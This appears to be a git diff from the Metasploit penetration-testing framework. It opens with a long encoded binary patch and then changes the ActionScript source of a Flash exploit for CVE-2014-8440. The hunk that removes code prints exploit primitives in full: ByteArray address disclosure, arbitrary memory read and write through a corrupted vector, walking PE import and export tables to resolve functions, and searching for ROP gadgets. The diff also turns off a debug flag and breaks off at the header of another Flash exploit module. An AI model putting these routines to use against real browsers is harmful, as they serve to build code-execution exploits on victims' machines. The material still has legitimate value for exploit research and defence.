zhAg6Mln-T=e>c&y1@V9F^0q`0Lf?q_K0IksG!L`ey09(kL-TAz^w6tRZ&~$fol@W% zSMl6vYT59)eo>G+gd9x#8Ii_jpl;#%?QU*+S=xJn2hR^F`#novupc8rVFcM=D>I3L z*2S`wa!7n;B{=kGZg83)yU=Op3>RseaCd?>bR0=5e`0q0O>-P!Q%_w^(R1p-N#vRA zay4xQkqGLNv}6fXgV)2w-ilz|zEUZ~RuyD$08i0=$=WgZ;7=7$8)yzW$k4^cYkRM# zYRkjYdn;7nAVI6PCHLN(JJS!v)64%Ekm?pDPFUU7JmnS7Yk9&Sy0i;&3Y#xy9p$DJ zcqKlje#mUMkv0y0otAA&wg3YPxjJ`Hc5ARm{{Qou7YRVV)M%5ST zrqS>S`;)AkoIAg8Yzb})gr!b4sT}m@Xw9jE+Z6f7qM#EdIx!S2LsbZK2d%t2w(H@L0@xJteWKT!6Rg&}cd zf0TxoIPTl8tI*CUyBkwDZ)~3_N$sVfx`zL(oY4G&fG{pg(~gJqN`2!jR93kFkO zeleM7bwCje4#EWfH$94@B={--GKVCu0aj))+}TztTcOH`h>Hv)q5 zV9^BVgCsXJA8aCoT~R~y)A)L z1+vp^PxH79WPdt2{u3)_ST+~Mm2l0H;ZMULz;ATCJsCNig}D<6g}pn4Y2u~2WOHM; z-ZP{&Z4?*Ronf^gKg0|%gFcYJ`mcfZ&Yn(+PO@eq*mfbzC2rL7!o!Z1x-+%MPOUq-kZ7vO11*}XFcIS6 zP<}R*1cZ+AqVY^kF+dfMFwgIN+)zYpd1c5t3QM(Rr#^u{D!&@ni9sr$%jB>hB$XPq zKz=1ArLfdiczR1)86Ot(h#u({e~f1}os)ULb;s{Abw7ou?Xoth>O4nth3bEbxOW|; z6me2e=NFE2)NHG z=dVN}b2c8_Ox*VQit{E;9yQxCTDQjm?S5I$P>5HG;jl7f$^ZIm7&CwLsvRVp%avHY z#OO(o6c*7^Ede$nvr1Nj9V41{1(rW86vwXmUvaDLIa*)|OSUpg_*iLpNS0?|QNos+ zNFeDtSn}gn^gp3#=;#`efB8U=DxFuUZ~z_x-h|_C_+CDFP{W)x7$^OFrH#g&MlS#!zHyJ;L2wIKwS@m<+<(C?h2NYJ8PY;`x1D?L+)hi2eGC)t zu&L5>cK3RzRh7&QCSqvwUKcME~fYDKiK@q=LIItzlgQH zs4IM@J#YKp`=+y}Be~XeDGXEKPiiB^w3&MTe*Wq22y3d8e)(cx#I!)+BSyXh;P?~e z@J`;?2f>(oiNRz7&K^l|d_8{9+b9`2H*p;ut6i`Bl6os$e=X(afSZ-uh!yC-pRXvs zkSc-f$?SmC_5aMGA7k|NBDc|2u4@#@kxbNB4mKiOm&!;JVu12BgP7k`08zk+ZGyNY zYgWlq)9>0^49{agGycM!M8$o^c})K0e!;3ve_BP0QtjA@U`< z0g5_(rj7W3e-i~~!rP7_mmX#^2X5A1A37zYlNt0$Y1u!J=t-fa+b%6tzKL$4vHnc+ zRoQFW5n+Rj`Q+H6dhvZK_dUhU_hSVl!?!HZT@ea`axHmk{cx3wG@VfVeast?(Zp$y^n^9&wk9f)j+a=Sn^?{pOHKo|~{43m`^??|zpX=j%F zw@^{p^@;P8L2})lL^aH)2qy+UZQM2+j|}xLI2`aSpuqo63{hpBHAEZp5WuEmps|tv zKIF393irow#)OqC5h#968#6af5a$2FaNUs-e>9q~;B((cwm33Te%z|88O;06p)jpD zTgTFlyy$5VRg5hC+59H$cctzWQ(zFXtWBtDR;<>6tIBl8h{c5+;qi-KW&r#Qn33Hi z&Ty678{jUZFhHwVdW!>>t>Q+a1&N?T*KKjoI|6#0m(bW+vQTRc7s80)iW{}tN@Jcu zf5W?E6yFe1eNk}kPiepw*>LOeiR?&r=L?w!SV-;$ujr8NaY1@R^{Kfd62UYnV6$?L zy6FfCtf|g_GG_1GV^V_ECXT?I#l={21^6kYrJwtW3>~)etratpw5;FS2o^f$DazPN zf(vu1!T?lq(ZVW0)aOto@SHziBDh?ae+wCdxQ;uFQ29M$+_pLxS;bQLquwl_DzNn} zqVurPhMYyEe$ILpp`br*WU?U+^A}@Q#2_SCDtYxKeOKAn8_-ZRL+jkg&L?~RftB8{ zzhF{tgkE5!npK-Y(+wPgjdn+Atcw<~2)hW+SvKYY-$$4mOxM866FnFlLfDdrHvhRXd|7y##4Nz0f;(IsdD$4GD)UN= z-v4}#!HQA#1NaDr3=Svfzy^9NGVfbvLK(&Lqt_R_$4TR=WyR%*se*_yrg-=NMQ>3M zm3r=6PwbSYVT=6J`k*Lx-cAH^g%9K{&x5!GFRN1+WKhwC{}RcSS5W*se~_{#w*|e1 zm8A+!)cheNcGjtq1&Nhr#%GRi33?mYnHn`y-mrp_`D~7oJ4ZZTFtz5bc+EfN2-SFDvHeg2S;U zlMH5ED;+nYC(6gB@l)C=q;=QEtocX>bkHrWT`q%;Rc;e+&y0nF&wUoed!q?sldQ`tfm z%?Hs{gCXRB28$(024_dB(Y9;tR>z9EwqzLlnhi14E`(yu!t`njYF9_=d4^MnUh6W7 zJ!2{bwnsI9e{)K$;!ulAOL2~epZd>3o5H!h)>r4vWqh!}+E<5>tOk|qR5!T(mBUVH z{;aiP>zH9lbfrhQ_&Uy=F=rRI%d2M&3Bz_9{C}rNeHWyn<^?`)aLh7`G>D`R5rJl2 z&q8+EJg+mhf0~0}!%fOneGa!N$W7}~Qr+a7TT_Zie~|Y)bCKeB?TuG>g2y&g*BBa_ znDj@&Bm4SI_bdZQ^=nqN>@K?2o5Pv&1V=Dsu}%i22yPId7Cj7pU>~y03*N_I#Zcw5 zT}@c$ksZL)a`k^mIPrFzebM$!&wM(BxJNDI7PQ6772r?Z(*MxZL71Dl+^Vu}q^P)W zp12Xjf0aY@8``-27+@|9>7DIL@Drt(mqztOYnpHH=(Npaug;=*o|W~#pcK{_8Rq0T z6Z}!j;IfrCYc)ChbRugl!S^bF3qG&XxN(~Yn5VG6EW1~upAVEQvTymFD-L#-Q`-bE%en7R}cP2!$DEHT0~f1)0JmQneiU9EASs!@SC&q%gj2g!}p zM00n~akpyWA`1GCEpeF++P2VRws|`1OH)BTzjNfJrM`XIbW#pYGm@46+3%NV=>OWs zOBLqVmX}W%ea$0tr7xZ4okXQ5=MD=l*uyBs~SD)4!P~RnzyOQWVUe`HGwBb4` zCRWy#QOg$sp%Z+hg!k5@mAG1hxRB_({c6iPnf z4dr`v(v#k>rhCyNw8mr*_eqBKe>z?I=TfDG9w?~^J})}rgdjAtkPJZdTKJTIF=`D& z*=}1Hho;a5odS&yJR`1&%t&&fohvJ7xf|y5G@pDF+hNef54;3gF6J* znk_8!7pL5TC$1?Pj^B8*9>@cSZTGWTdGgNz@&p$bi9z7Xa}OUKE?zPLxS~T6nm|ie zi?rxcn&eP(1pjodv>VsW@fGjb&1oAjfBm4$U7{q%$du&UFb}e^?q7R)KY)PX+5k zJ}fn*!trjQ{vENt(x)7<;9e~N3pogw)zBhukeY^4Q|s{NoIY0sE)l**019#k7Jo#8 zF2sH`dz!D!2V97v45>reqe0szg#Je!E5Tm;Zf4y%Q_zPd{`Qqn5a|8wqxLkrO|L$P zPnWe|B35v%3iZ_#f3BBq_P@^RL;nK4G(@SML* zO40$GvoFfuOa9|gh)dm|h66EBV122==PTZ#+^mET&AzF8djOzk^C`Oxa}=b4&~SY@ zom?NM_* zR8_Jk6qLF%60C|H+EOL4=$yk)3MzW~=9N6Qi-nPKGOt=cF8v)}5Dv==PemC5H+yFs zT}F*wLAiZV5PCu3Wp)GQjJHwk2eyYj<2e*fE0lBVe?>%CF8Fj!;9yL;5$g+aK{}ms zcZhf`tODk%wV)#EmiOXHXw~|M%^6%|`Y3~5)z;>3&5?jQpunTJgm#t$x{_%DRxVyQ zGogi=Os8lAFZG=Se@z@_OTmm zhgf6me}vIuZG)m`9##9s9;;60@qAIB!SW?+$mQklZ%!$5So>m3nt!J1on|4tBy-80 z;w5+6_MwCx(_uA(JwmB5#yqUvW_`#%INONvI7i`O3-1@7F6O-eK?oNs<0f0!)LAEgeWIlDK|)(TmNw{{<>ev1k< z>_FmB+!GsUjI=N}ODD64FiAuqC}X>S(@!-vB6M@f=LdT?=uOb3P|;}l#p&wC(BP$& zU?^N$8|uIg?$Trf12oWdi-Row&+~s_Ije_Xd=}Z%L7>lroaxk(J4v^4wa#vqIv_wn zf6e$&CZ_il1e~7c9(25NnFVkTgf@IfCm)5!z<%JZOEeY2>nk_h`wo0aC7p6?1u zW6{uhk~d5E0M^*1SDFcjCt7X{yF@w*cS${Q{Iut1*;CD)O`?PHZo#yI{Hwaak2$1% z6bx6g#Frv-xH627-{pZ^6czuy;95e(f5W>*GaN8A$(FN)D<8~5Yf)ks?LFW1AJKs^ z%W~npXV}|^s#zgpPCCTw6P#5?Vt7VJoPR(y0EgTaHB3M%qzJYvomgZk7aZ(z(ROo+ zykk<|KqZf<$idX)mTl`Q-)F2svB8c1HN)8zmLE3i%#`draZ;K@XIY#dDa2y3f8kM*4eEcfBYO zZ312hjtW!IR=K=dZWb5wn<=A0$U1r1hIzwyHz?`mx6(NIkK?LV9#6;d;Q;ygyC}gR zKS8tkNNV}{cYC;qS)XZAWEZf5eN$bA8%~In@cTsuiud72I8;9k*{}OjE12sbz0SpnRWnkk*#+29wq3K3Tsy*=~lBr$RAOiT_=h9dm-O zma!!z&_tJpb)Z-nx6zKo`c2STq&dLPV_|ea<{1?x^r?3RYL;Uyxbsc7<%Ne@Fe{uFy2Chaz&Z3*dpwHyLz>$Q6H3sN4h(Bffisl8NQk$nh z-s$`@xB%=L8qJgI(ef%`_(Jqv)1%2Yyb~0>M`xHt1QI>5$oi3ii|}6|f#3N2liuYS zxeaQmc2{MMA$hbRZ)9^XA{jfqGm})L#>1dEB+)7SfB3@$n}mh`fBb~Yj1U*=TH}{> zDIE~wBq4!D9hhI@*PG~%g;W%5bMSqgTaLiqh^PNgm753aoM62YHy-L$P!rjMTaco~ zuYsgv_fqiDM!VL>V~5~0(GECt7lc6BJ!Z}&4Eijib@t2>gY4~b#X}HJM0xgZ+K z$`z@tZ06u0Z(tDaf6(YVRKknAT>4TPJ#R?N5SQfo$-CaOSi?NfB#;Q{blPjQN=#Uc zv$HL>?K><}v%Y3rN_97bQ~wA_ywV9tbC(a*25++!dM4_#4`ZN~Gq_0#vG!8mhnF=G zjU=*)*sP|=W0O$Kd00kWn|eMp6CRSOw*I?w^7C>wf1b~6f8i;RZRX~T@b|Dqb=2p6 z0RrpI=*Q?D%_dxr%d7mByXWef?>FVV*2GZD)wqK0MNsW#aqb)vq^6oTJeQe@}vzS9MK{ z%ZASIC4-GVH-Rm&jx~u!xcf5Ng!-QlRu?ksA+wU@L zz}aSwHBH$`t>$%d|6ad^!g=qGIih$x31S7?D<%idf3*xMh_SvYrkP7HtVj(t6S8>e zKi*Od907sATsvx*>Ct{-^fvkT^kna?Pq4*P+H|+s3HRI*YwWV3l%QZC3rMjoN_Zj__l92Z!q z!n@pS4K(7KoTeT}`n(XJ@_#NBBOj1sabJl*``w;_*NoMmq-gxo3r$<01mmqIXiM<& zy?mr|$FY#Oj4!%(Q_n4NM_su&Ts}Pah%8BUe@|t`W(5JGM*mIN?E;(2hWE{by2r$3 z1t*e}_JX2z?*uprP<<(mZO!}aOBbO>vsRhXB?)4Sjrf83wn6w!@$co=PoXd_GEKxb zh~STk6cA2u;$_P3uk!T|RG!jt5z95B!PqarKt}fFdGIj;)*METLBJ4RBlz{}3HH|Y ze}3T)i`b%%+NK8)o%_zb)X0K=#K;mhs8cbRy~?-MaK_Ic@AUte3B3HlS% zHUiLJRO9haae}k2IzWw`=k}WCDO9oLm4{$hfm-gWAS8=Mx zRdR`9gCVfhqg$DX&E?zg37Rv@aViA047F4 zHnWvNSfeGWu14NHAp!4hQp8=JG7jU@A^IU|vKfVSi##Kr(o0w8MYe;zG*3Lqe^2n{m^1>kKW78#3OKZ#eA>D53pm;%$5 zYWmE9)IV$tOtoTl(0hPcDCJn<=6zyyY;=}|MbG-i!8Sr|b6%tjDmATvi`Gne4L|_j zSw@IgX3(A*Pl%*KUeF zs&ru#f`N|cdXq_2Vn)}R>Nk62P!d-<+!au~%X+ci_EyqoJWFT;Bp%#$aGHoaA_zwV z^UggCcq(%u+eKmOwgL+#lvPy9nn?xxZAtD#vYz!~fbA}@1nNwQTj&=jviqR&%u7aq z4y5n{k@<(tO!tzOh2*a4fA{Hn0KpD_bemf<9iPk{aa^^~#xD5zxawb!Pf0d-8h_}pa9ZsVi;(-hc z;Fu5n0$HwnxLSLMKw#yyLZF`0`2ey%o)mjIq+GNj;o{-MC)m8qe{@O_mUs*5oEslq z_v-laZMrZu^ini)tCN2-g~^DEZok2S$P%sEV;(u|sFzsg^t;)$q6`z*;aL&jbG*Ld zw#~v+IG$d0M{5oCu({va)gMnyq~Be+g`2$}7Lc4><{`Bu!>^_c%#|_s zWD_?Ws$f3yCc_;vL_9U4q9j!iLQ)vw51~fnxGHY>t$2r_sG0@&#^HF{f{UA=p$07d zZzv3O40WynkpH;-=Uc}x8og%6QR9B=5}rN4i7CF_e;ueyFl9EkM;I>0N1dFv=wTby zZmd#WUBWU9N8M7Gh{99E2W%Z`V1cu05kaB7L?0t*aUSP$WZrX)DpE^#pIbH=Ichq~ zd|wSW)vvFw0O;cF_w<5xE;YuYxlE3QC%Q;sI>q|}V|9*pnnf&l25Z*nWE%|ExT#Xr z1V}%XfBiT#i=Bl;c9s8Fb)Y_7u-;-XkP*Tt*%z7O>(^!mYcx09m<}XHUa@GJk6|}r z=;#}bhH@_7@5K0f`wc}R2CUSAz)V_MaD`Tlc zBMP(Wy*C9LXO;ERAB9qtWY1TqX|m0)6ou62f1Q$tmc#=a(jdyOf_DRqtswy9-_7us z2X+af68L8gM0JK1sbc5LQ8%MiRppf|IxW;8Yx()kf;a1_7SDoqa%r)B5#Y92%W2de?PGxzTMjSy37!64q81 z6k+!-Rgbqfx-4~)oOSZOZ9^#yu&I5jJhUSzl0{6HqgfNP$jdLmj|}@u@Xcq(Df)H@ zY1Y$(-gsO>7C%*7jF=+Ioz!F zvX>=cYQfwIPlc~{E`noDEKrem`X{+<3)MhoG^S;}3-4n_ztI5#<%Zgpp|%(p$m~c9 zty*5KDY@U7e+FVf5WD`{Nz*p#ZX|-zD#R{wW}}3+L!2c(8payRhw5LGfAWOVyXv(y z?*snUjmwf)>v}AgPBa7VWgnWO6#}jaT;>-bQ&V^dCp1OfD_u_->rm0hNUoS*j9dd} zKNPktSv(5H56a!YN7#2MZ>SjXbWx0r`oC&RKf8qSv8%XG7)mq++q^HhTgi%zwWVuzSf6_8yOombWWIMR= zcuFJ657LL{`We+;>{Ds9bSkNJcizWGQ0Fu1E%?v=#!4k9j zFra4t)pMQP5 zJ`>j`znnTsD*0B@UF^P;#X?jzG| zf3htNU>DxTS7#*lTH|xB=M3Q9O~=X~^IbhTxycKxQEnqLq}!r<$$6Qk6poq=_+7~_ zw+K1};W`ddQF(zG^TGN+ImT1Zuy&7V^U=Elhq~E0yE^QuYm@hQTe5#$^k7o$)=z7L zL>WG^*DNT` z+z-rOXG=3N-sz$)^o`grl@RIjt>u6&Ybdoku|Xoozzrud>Du_m=rSYHapmoQp!fW0 z9>uw+lNHdg{xIq)u1Us|?rLqX%5$7scvJA7JH-t=E9 z{euedx|2Vf5wX>kPN9K&7zG(2e{0nl^`up8#4;Teb(Q~5AQ;dxqUAORx2W=F5XC|g zE;5b>UygBCfU(%IJ8b(JWhi1V8i-+c5wii2=5NWz5U^~R%-7>Mi^1>C9LY>lL7xPX zp}{5XN`Bg$n6M#OLChkVqAKB#z%)zyE|mMNRh@`!=(G#!+&B_y;GlU{><7PwdRXIJm6j zdD2X9A$%4(t8PN3+D2iNeRgM6&!@)#&V~4_m@Eu8dag%J_ey0ce=e5eM_|@s4P=p@krtoABf3IHOR{duZ?3 z5Q^7LX;ZSs&yN0Me^P=TD-k1tb_dL! zlQ|?T>h2zbGu^s*>XsW_bC@A4Tle^Psvdn{+pIj^DQM}4%o&*&YAnFiFPiA3i0%L8 zJq$LS4ex*$aZ{=^+Ac75A|!y zR*k~)o$b>Itgq==f8nmKGgzbt5Ov{DDaCwZWLgK3CDzuVu)TLi)YS`L?b@|81{G9G z@hm$e0twpTqt@xuT;N0K+xB`!nQqPSt2pRf8*;B=rjjwn0s5olF_#vq=WzX|Ow(!)`0P0uJ@D<)Rxk_T=51ZYu??k-nSC*x zOU0}BK`jnqn%pel)}C=1CX*^ zSLAbhSY1y=z_4S?wP@>gvi^eQzC|WwI4kB4Hi1?=UXv?;Gg~0KJDS;z6mW6 z5Ys?u1~M2wV-!-7Y6?Ld?d-{>J3^_iJlfvb{*b#=bVSnyX2J351v;yO-CdOavAtWi z${I1B2fT{SjDMe1L2J6723yls`G4MbnW5eGi#W7#gF z3en72i>J;>o@n%Pk8C%}=b}D-g^C=jsSzu5-wN%+TGafzJyn!P**!wTOxM{qR%(`C z@H9w7%@s74BywE{QQ_Cv%{}9_*Lu=!47nhV5|^Sp zNkecb3x86CJK@&bC4f2{|7Clsfrpo4px0aR?42*;{mp#amqAMZzEMbs6PY8`>?%R- zJ|iQj#20AMqdK;qo({ucMXBrOH&lpm!mLcbnktsT5v7M)?168xCw#w833wrhRyfM3 z-^Zw02zWFWtOLdCj4Ef9y1A_3fPhPP%JkV0>wog>;t#2d2r5WlyvB0&4>?6`Q}v-t zasu67z}CbOwX;nq)4Kj|72h=OwHZ>WUtf6=^T8@;8=GTM9;TL9`hTxsV`e(ZlRu)24XgQtg=iH9fLh)ztjN4E zO(&SlRGqZ7GeeH&h~@br*OTmHg@Nr_%nj@#=sTJ5MwA7bH)MsiVm`vT zG)gS|^}FUUf`GqGDKPDPQCJ@KHxx?3q`KM!v*0+BF zuaeZDzbLMFcEG&X^YVqPbk18Ve1Gxb zby8GM_Nd$+2`v|HZIgC?3T58U9D0Ja0aJwkz&uviD7^P)ZmO316&!e$N_RBTOu>Zn zG=7tliJ$pT$6D|wxq1hs#1c6%I0qqaVDeagCB29=CUPB69R)QW`TKp z(bIBb)D=tNdaR8|HhpcZDSwb=^=Jxwn#fAztA!rtUaOqzPf7Wa*~94+s5Dq6NRs3g~K7 z!he7z3TD3-&wM-piQ6{xWIK2szy-LM_R_! zY!T4QxdLgr^F;K3d#fudiiM4|te9oq{NBZSWX12vVGZfTn$7A_TVqvze0!tFQ|!m_ z=m9E+)FPBjsAJ6Mi+_+m*Dx;h_DRm=;5byJIZ5!CUx~}>g0V?XlB~q*{j{o!($c;W zC$|3)c|YT0ZZl|v!AGL9I9>vKe~_CFxmrab7?6vj#PA%0+nJNx*c(p%#2T+uGI3G8 zPo^^oh3LU(E*`9j9N?1(COG!L`1^7I{S9ZlU-X*hHh#>zy??2#J+|Lq4Omd)*P6&U zJ{4~7v=>P*Ej)+N`+X_#=8vK2He^OWHi0}*nQ`7XuR#P9Ly z=JLrxOXkRUWjYFd#Q`}jc@IYxow=nd&@g&P$W1pKiX1|9|uzCC^?X%(2P0BZpSl+XGzteCk8}&>1~<-y$g4Q zaj_bU>j)ciDN|o=6WjIV8y}u3l0wKU#}5zh2Ao8gf`2>;3Pn&tx?uz`ev1~nPwaNK zk|cVQV(O6#2hRQ$>h zA|L`~mZ(?GFyjehxf8CTfrBXuWRefAHv6RKJ)hWOPZzo9bBeEtd4kx&xsSc&$9y;zo0aGHX&%h2ceFyl-{MJ zQ2sn%7l?Vv9R^6u0S1>$CDA%ui*v)>b_nTTGQ(VWu(ca*-WcseNXe7HipLu` zcl-uA5T%9{;V9&UqqaatEx1xjJ%AgMA#A;Sc7Ng1yY&Ut7QFu5#0(?V-3_$u5Qi>AA|Dv=k)03cVKWJTk=ecR%GS9o@jg zcNAT9=-b>FVSg6=BporVY^Y(C=PwUxZ(fm@!Mid~ofz$Rrc-;C5JsL07s()oX+axL zX@6T4!51ATPcY+wOJsWF5d`V5Gq^!Y<1*O^j2}L8A9p%9G$L8pfJ{f)Ma%<`c2RvqZ-a+13fyay9Nb^V^MNLMDpI{-~ps$xp7%mYzB|iFm2n63w80Lm@T6J)-HGArlh<42^Z$+Je zR6>;~UM5b0M@yf3^{!NN!7JgH9Peo{#690F90VX|R=?Yk;sYFkHRZ&@7{r4SN`K$8 z`YRKmx@o(^0uX7#TgU|;;utCSViMp11k_1 z`KiTi)rCnMUnDjc-?ADE1QymB&9~~dxY|Z^QO79J6f5MKcH{+WVvW;)s?IHIIP3!Bw6NIKuzxSkg zfFr}V3z(BLZ0R~uTg9{@N^SA;G{=)`tMnqQ4vHk`a6X3my5>IF^U|<>&VM=|mg0G* z#t_$-O3*9C%Ul~7`?mQ;vKzLKFPqm%w~;pW|FgK3*Qecl7GtKQeky{#iM+oGL(-{d z#vL%TTAX;NYS>7y$?tLPAnUCubTBrZLnzJ7S?7F-oRZ?y;sE)0V=aN^M1)}}>@K@0*lsAysRlgA#O! zuk*?t^GHOG06WG38|9rC$C(%<4r~WO-#ubTe34oh-r(=9W4rT;qA>yTfdRx1!BIb# z+#z6A%5kCW&XfLLe6f$or2#9Tj;pSVZK|Hg`plc#yHob`XmeDs4u2zk*i)FqrC%HY zda~|>a zausS~WbUm`gv8AC9C{>34=iz8BuavG-x5SI+k0j+W`O2GS5A%QlanJa?p@6<$r+^C z?W(~DUow8Yt&pgpNPlBf;DiIKlgG7-oyGBN$KPQR6F}iO0%UKW9R~B@36g1z=rPz6bZh>TX29zpsPA)`CU(Te&sfyea zVZ`&}G&-dzRChfi1(J0nUN2CH?Bb`dRX1@=XZw2XOV~@TqkjqoIf6dvGqDi=H9%9~ zKB=-qg9&HdxzS&Tyz~pxq~=dAy}o7i7qp`%QYQu(*Sopc>CZv1qG&Ll%Oqxh8CE#F z^)!`ZXC2LWGsh1QrkZoRw#PlC8vkbJ9Lekxuy_ukb?#$i_&gPF)ehGG$#|}4kw^k@ zkWGOGmrKxkf`3XRGAqnS88Q^j)f!Z?XJ*#2^-~cjljTp^C-(R+)vcIRAzp*Z{sJEP zfTa{izz%Y-j@ojPh)Nh4wMSaW z*G1)AhfZxWb5|}_FJ~R1@cho}E*dhxE0r^dHs>OdhJT~ex@TzZ>|)NXcOoa57NLnc zuput~N3((9$2g6hE_c&UoNdNb~O_1eYQ3$y^BJz-2F}P^2WpmTM+iD1J zsFM;G6;vneZU43Xf0>F7B~Tq2$$%>ThkUK~`V!(paV2flY^2CnVGD5We(9$(0^BzU zBI#e8Wq-mW9u*;rqlLYvpu?A`L|T}9!+5sIKc~qoVfM(4-nL8BiJ?R8gr^~)2cvNA z_DoRw9xVW%REki?=X8cild_jG#JX&-P?WbYJ!TQHl>J3unUd_(@$tCF$E;Ij)gUjW zO0e^p5hSnjLJu{g1J4!h{%Xq!yhwK-avQcnmw%ABKfdH!XBfTsQF(LdCJ+BAj2SIS^FE`!>S$k;F2M0Qogs)qX$^!IP@j4c! z&*gnc5wIC6iEylV!jIcOW5(7F4wsuHbi6>4(kqtTgz1CkJXb;;aI08OE)N%0*1s>w z$bZwql{fWsiO|ajIym995x+KbsL4lM@Wd9myWIr0I0v}d)X?jkFrY)|p>7bm=bv;Q z+m9u!PHbYWC>(e%>NyC=AVX<+u1^9i;VQ@>+kEQ?1iB9eljh*Cv^FyKDfxkxPgb*I(y0RrXtEPvJ;=Y^t2rN9bcvr3>a7>KWNO8~K-`k>2;{^N_`0Rg_L;;A4R*Y&S&i{31NnHbz&vgDd*lzd1=o-7lFmQ?T? z5}QJoeRbs%!%@CHCo|3TD$QL)aDP^+@Q7NiGsw`BsB4pv0Fm6TetMzn$P4jR@(N$N zi@yU}=-|=VNk9Lj=2=hZmieElE)Tg)d~?A{bWK`f-}xmm1(W5=!1?YwbI6>9$$=rj zaom@d4TFe|^*tJI!b=aKfVUL;0ak%JfF8t6eJD?EnFLq-&+9mm*3*3S7Kw&2W;qMdh0nyC6(-J17e$vR736icW^zeR|%7v`Ahl#3~h1zYM)etScd2l@gq>bLd6ScW?;h3{(C;Db2e@ zP$7!rN#MZkC)*A?i9CnTP9N$Nps8v3%zo$SdRj*M1De2uYo9zva(|9udQL7A*QIE; zivb>uFPtWj$%EngUw=7Xpdk563F&9=z|b94WL5jWlh8?0{~KmG2%wzv=*I@pi0ZPf zY7xHSMTLf+JX|*Ocn#(1u%Y+1;Pl?Sb<59+ZDYWsi|Njyy;T|b%qNm6|NJ#4!W@%O zg?zeG^dQAeX`YS`;(y!PYF5YDu!WelvRt%NQ#UWqmhSyz>E6xFai9R)+GFqvZ>X_R zEmMf5ktfZr6q~d;;pxFaIrpI$wxs@xa5@`LgEqww`+4zzXEFG&*NHE-8>4ZU4SLC2 z8Gqvatd3<`rZ{XInZvItcXFV%YpXKsOla8Fy+43+j^qPSI)6b_3|ZPde<^ivFRl3z z>x|rYED1Fmmr&)^FS2Rx_BxDXuk8{d2&fJ1&^Y)6un3oc6hpHg)TBCITY=Z;y$;}7 zDC#vpASxHP0M+@PcW}#g&8Zm}I}ZwUZ@K~-loff?N^}9AGPj-g`_nZ6PDr$bd62yI zsOw1VcKukhdw;n*DUr>A2RzPia*5|;q@HHY&{UF*)B=$1^gG%s@ekjov5;Ia;=vv& z1D#t}A6qkJmDlZoDPAoqrR_EbJY(-*O?AXGU#&XGu{`NFg3L!JU@S&N9Ns3{xOl?H zOhbutIQ{Lag=H{CyDvgS%OXK6I{#ICcO;HvOEa00pd}5;2HmrR2l_3107lZV=HLrH W<4N#Am56si%aWGX9smDR9?SrnU@0*G diff --git a/external/source/exploits/CVE-2014-8440/Exploit.as b/external/source/exploits/CVE-2014-8440/Exploit.as index da8d636a59..c6e0928bd9 100755 --- a/external/source/exploits/CVE-2014-8440/Exploit.as +++ b/external/source/exploits/CVE-2014-8440/Exploit.as @@ -277,144 +277,5 @@ package } return 0xffffffff } - - // Use the corrupted shared_ba to disclose its own address - private function search_ba_address():uint { - var address:uint = 0 - this.shared_ba.position = 0x14 - address = shared_ba.readUnsignedInt() - if (address == 0) { - address = 0xffffffff - this.shared_ba.position = 8 - var next:uint = shared_ba.readUnsignedInt() - var prior:uint = shared_ba.readUnsignedInt() - if (next - prior == 0x8000) { - address = prior + 0x4000 - } - } else { - address = address - 0x30 - } - - return address - } - - // Use the corrupted uint vector to search an vector with - // interesting objects for info leaking - private function search_object_vector():uint { - var i:uint = 0; - while (i < 0x4000){ - if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - this.uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - return this.uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } } } diff --git a/external/source/exploits/CVE-2014-8440/Logger.as b/external/source/exploits/CVE-2014-8440/Logger.as index 61ec768c25..16c0447973 100755 --- a/external/source/exploits/CVE-2014-8440/Logger.as +++ b/external/source/exploits/CVE-2014-8440/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void { diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb index 1847fc43ab..b4fa07267a 100644 --- 